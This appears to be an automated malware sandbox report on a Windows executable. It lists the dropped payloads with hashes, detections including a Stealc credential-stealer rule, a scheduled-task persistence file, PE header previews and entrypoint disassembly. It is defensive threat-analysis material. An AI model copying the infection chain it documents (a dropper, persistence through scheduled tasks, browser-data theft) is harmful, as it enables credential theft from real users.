SSDEEP:	12288:FqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tb:FqDEvCTbMWu7rQYlBQcBiT6rprG8abb
MD5:	1D861B36E55E04FBC04FF38B5D152A08
SHA1:	F53DDBE7888DD7876CB8F6E8F8747444D360EC7F
SHA-256:	70CC27DA966C738D1B02FB80CE3743002343A8A7A4B8FE0A908114C723C683E5
SHA-512:	835B66032834D8A98AF4DEBDA8360F9000088BBCE67C949474D413B0BE020626D835678CEFD6F2C02D2D763E29EB14442E3B129F85113098A9D114E88D7E3FA1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...H."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2120192
Entropy (8bit):	7.957392119438948
Encrypted:	false
SSDEEP:	49152:mVbwALc7MiUz6WuB0Js1dJHbLf1CGIdxtsOx2vKUX:usALBiUz6Wk0JsDJHnfYlvtrOZ
MD5:	1BD30BB80448545CC020F946EDA1D2F2
SHA1:	FDF3333834E0A0D4F2D1ED90C8179A2F76D6D512
SHA-256:	0EAB0F6617A84D6FFDC802B19A9502E7910AACE80478D15360685830C84E324E
SHA-512:	5D694263B5B216B73C26E5FB58A645A160D045BB32F8FAF88F0AD4DCF49248BECE88E7FE836ED136A7E27C1B3B0E4E86336A37C259F9A24E6636AE269DFF8B9B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@..........................0r.....Bb ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...lvyqwrnu.....@X.....................@...fslmoltp......q......2 .............@....taggant.0....r.."...8 .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2928128
Entropy (8bit):	6.553758882360622
Encrypted:	false
SSDEEP:	49152:icHucNlyX0WUFJ1bNEiNGfji5pT3cYanXx:iioDoXxEiQfji5pT3c
MD5:	B780913DE1C9D2A04A8CB5CE458255CF
SHA1:	C9D6CB973EAFAC2763ED7CEFF65ECDA83729258E
SHA-256:	15952521FF76D233A2A4AB1700DC4A27933D34BCD59A3F9525497A6ACD768D1D
SHA-512:	F94A92275C043F88A91275DEFF099E7275FEF51CDF170CCEB9A735FFCAC2BC75750928D77235CDA85ADEBAC2718C97866DBB2CBB12E2F9C3545CD429E57E6014
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.......,...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...yswfrwhx..*.......).................@...eypvdvsa....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2120192
Entropy (8bit):	7.957392119438948
Encrypted:	false
SSDEEP:	49152:mVbwALc7MiUz6WuB0Js1dJHbLf1CGIdxtsOx2vKUX:usALBiUz6Wk0JsDJHnfYlvtrOZ
MD5:	1BD30BB80448545CC020F946EDA1D2F2
SHA1:	FDF3333834E0A0D4F2D1ED90C8179A2F76D6D512
SHA-256:	0EAB0F6617A84D6FFDC802B19A9502E7910AACE80478D15360685830C84E324E
SHA-512:	5D694263B5B216B73C26E5FB58A645A160D045BB32F8FAF88F0AD4DCF49248BECE88E7FE836ED136A7E27C1B3B0E4E86336A37C259F9A24E6636AE269DFF8B9B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@..........................0r.....Bb ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..).........................@...lvyqwrnu.....@X.....................@...fslmoltp......q......2 .............@....taggant.0....r.."...8 .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584673658927549
Encrypted:	false
SSDEEP:	12288:FqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tb:FqDEvCTbMWu7rQYlBQcBiT6rprG8abb
MD5:	1D861B36E55E04FBC04FF38B5D152A08
SHA1:	F53DDBE7888DD7876CB8F6E8F8747444D360EC7F
SHA-256:	70CC27DA966C738D1B02FB80CE3743002343A8A7A4B8FE0A908114C723C683E5
SHA-512:	835B66032834D8A98AF4DEBDA8360F9000088BBCE67C949474D413B0BE020626D835678CEFD6F2C02D2D763E29EB14442E3B129F85113098A9D114E88D7E3FA1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...H."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002787001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.948872331730493
Encrypted:	false
SSDEEP:	24576:7WTWE9gVootv6Dc1sAlwg/hgB0hoYZFUOb2SIvGwj7kl08IT6OoQeZiPppcFAUDi:7XVootSYJv1Z2DwlcwQ5UDi4SP
MD5:	CE9CCBFD31B6577D91367151D511A931
SHA1:	8D5F1D4DA0EE1059A529CF1ADFA12DFDFC2DCA51
SHA-256:	AEAAC9083993FF90AC5E7CB6BC0ECF097432FB58681960A8CCBDA41BB675B64C
SHA-512:	EB5B3ADE3C94E007B236D3CF88F6A55DAC2774C7BA6526BF47FE9832C4EDE48BF40BFFBDAFF04A6701791C5242F391AA36B9DF8B4A27D8AE3B400A70476F0CB2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK.....].....@.................................W...k...........................T.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axzfwsyi......1.....................@...hvubbrkg......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2809344
Entropy (8bit):	6.416146573936089
Encrypted:	false
SSDEEP:	24576:8gXDqv8VCSPwCzjdgbJxt16GA078YVNrjsZAiIp6GibE83DqqBo7esFJhb0VByDt:2v8EEvevT6GVNUuaWeqL4KxhK05Oh
MD5:	69E939844ED586ED304E0C4D9DB0BFC4
SHA1:	8A89C259EB36E4C84A54B3334815102EB167E6EB
SHA-256:	30B577B239E4946DC896A4FD26551414DA9F1DDFD0DE5A1B6D9F4CD31F05BB1C
SHA-512:	F4AB5F667083DFEB02643D84A0C59CE19F6DEB61BC5268DF859F4C75B247BC48EBF80D3144EB3FF40C08C255405241132F6687BC2FE811205BE9F85B817DB5D1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....&.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ucxgvins........\|..:..............@...nulvttal. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.948872331730493
Encrypted:	false
SSDEEP:	24576:7WTWE9gVootv6Dc1sAlwg/hgB0hoYZFUOb2SIvGwj7kl08IT6OoQeZiPppcFAUDi:7XVootSYJv1Z2DwlcwQ5UDi4SP
MD5:	CE9CCBFD31B6577D91367151D511A931
SHA1:	8D5F1D4DA0EE1059A529CF1ADFA12DFDFC2DCA51
SHA-256:	AEAAC9083993FF90AC5E7CB6BC0ECF097432FB58681960A8CCBDA41BB675B64C
SHA-512:	EB5B3ADE3C94E007B236D3CF88F6A55DAC2774C7BA6526BF47FE9832C4EDE48BF40BFFBDAFF04A6701791C5242F391AA36B9DF8B4A27D8AE3B400A70476F0CB2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK.....].....@.................................W...k...........................T.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axzfwsyi......1.....................@...hvubbrkg......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2809344
Entropy (8bit):	6.416146573936089
Encrypted:	false
SSDEEP:	24576:8gXDqv8VCSPwCzjdgbJxt16GA078YVNrjsZAiIp6GibE83DqqBo7esFJhb0VByDt:2v8EEvevT6GVNUuaWeqL4KxhK05Oh
MD5:	69E939844ED586ED304E0C4D9DB0BFC4
SHA1:	8A89C259EB36E4C84A54B3334815102EB167E6EB
SHA-256:	30B577B239E4946DC896A4FD26551414DA9F1DDFD0DE5A1B6D9F4CD31F05BB1C
SHA-512:	F4AB5F667083DFEB02643D84A0C59CE19F6DEB61BC5268DF859F4C75B247BC48EBF80D3144EB3FF40C08C255405241132F6687BC2FE811205BE9F85B817DB5D1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....&.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ucxgvins........\|..:..............@...nulvttal. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1904640
Entropy (8bit):	7.948872331730493
Encrypted:	false
SSDEEP:	24576:7WTWE9gVootv6Dc1sAlwg/hgB0hoYZFUOb2SIvGwj7kl08IT6OoQeZiPppcFAUDi:7XVootSYJv1Z2DwlcwQ5UDi4SP
MD5:	CE9CCBFD31B6577D91367151D511A931
SHA1:	8D5F1D4DA0EE1059A529CF1ADFA12DFDFC2DCA51
SHA-256:	AEAAC9083993FF90AC5E7CB6BC0ECF097432FB58681960A8CCBDA41BB675B64C
SHA-512:	EB5B3ADE3C94E007B236D3CF88F6A55DAC2774C7BA6526BF47FE9832C4EDE48BF40BFFBDAFF04A6701791C5242F391AA36B9DF8B4A27D8AE3B400A70476F0CB2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. K...........@..........................PK.....].....@.................................W...k...........................T.J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axzfwsyi......1.....................@...hvubbrkg......K.....................@....taggant.0... K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	modified
Size (bytes):	9929
Entropy (8bit):	5.529610258416111
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Ohj4qyaaX86KcfGNBw8dISl:dewquDcwV0
MD5:	FDC0E3F24F976348C7811C431C478B42
SHA1:	45D5E8490D852C77BFC0B68D7BA20F23429841EE
SHA-256:	E10953A48A0094F6FADDA92A6CF35F9B6BACE407D194CAA8AAEDDF4DB8098671
SHA-512:	802A3D0172D6FB9BEBEA5178F6E5DC19A48DB07F767CFFCC34CA9A93AF553BF6C67B085BB1DE5F2369E1F66088F46F3DB92F2C7696505B4B964DEBFBE273A80C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9929
Entropy (8bit):	5.529610258416111
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Ohj4qyaaX86KcfGNBw8dISl:dewquDcwV0
MD5:	FDC0E3F24F976348C7811C431C478B42
SHA1:	45D5E8490D852C77BFC0B68D7BA20F23429841EE
SHA-256:	E10953A48A0094F6FADDA92A6CF35F9B6BACE407D194CAA8AAEDDF4DB8098671
SHA-512:	802A3D0172D6FB9BEBEA5178F6E5DC19A48DB07F767CFFCC34CA9A93AF553BF6C67B085BB1DE5F2369E1F66088F46F3DB92F2C7696505B4B964DEBFBE273A80C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3619871184904104
Encrypted:	false
SSDEEP:	6:X++VXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lH/NEt0:uWf2RKQ1CGAFAjzvYRQVHlEt0
MD5:	8634E96EDB928B3EF500981F49DC39F8
SHA1:	EBA4BCBA864B43793F87FFA6957B2C36247DF06E
SHA-256:	CFF2898E86C15796502CD5E879EAE8D4B1061971BBFEC88EB7BABB0AC4BC9A80
SHA-512:	5689B30B2CCAA8EE20461017CDCE0CACDE0A053073D3B95C7040F61B57B084846CFAEFDB3AE9D68C0EF53D6853401020658D964C7F0EA31AE0A26F1816858A3F
Malicious:	false
Preview:	.....m.IsGI... 7..!F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.553758882360622
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'928'128 bytes
MD5:	b780913de1c9d2a04a8cb5ce458255cf
SHA1:	c9d6cb973eafac2763ed7ceff65ecda83729258e
SHA256:	15952521ff76d233a2a4ab1700dc4a27933d34bcd59a3f9525497a6acd768d1d
SHA512:	f94a92275c043f88a91275deff099e7275fef51cdf170cceb9a735ffcac2bc75750928d77235cda85adebac2718c97866dbb2cbb12e2f9c3545cd429e57e6014
SSDEEP:	49152:icHucNlyX0WUFJ1bNEiNGfji5pT3cYanXx:iioDoXxEiQfji5pT3c
TLSH:	7AD52992B54971CFD46B12749927CD42A85F02FD47384ADBDC5CA8BA7E73CC012B6C2A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.........................../.......,...@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6fc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF0189639EAh
jl 00007FF018963A12h
add byte ptr [eax], al
jmp 00007FF0189659E5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
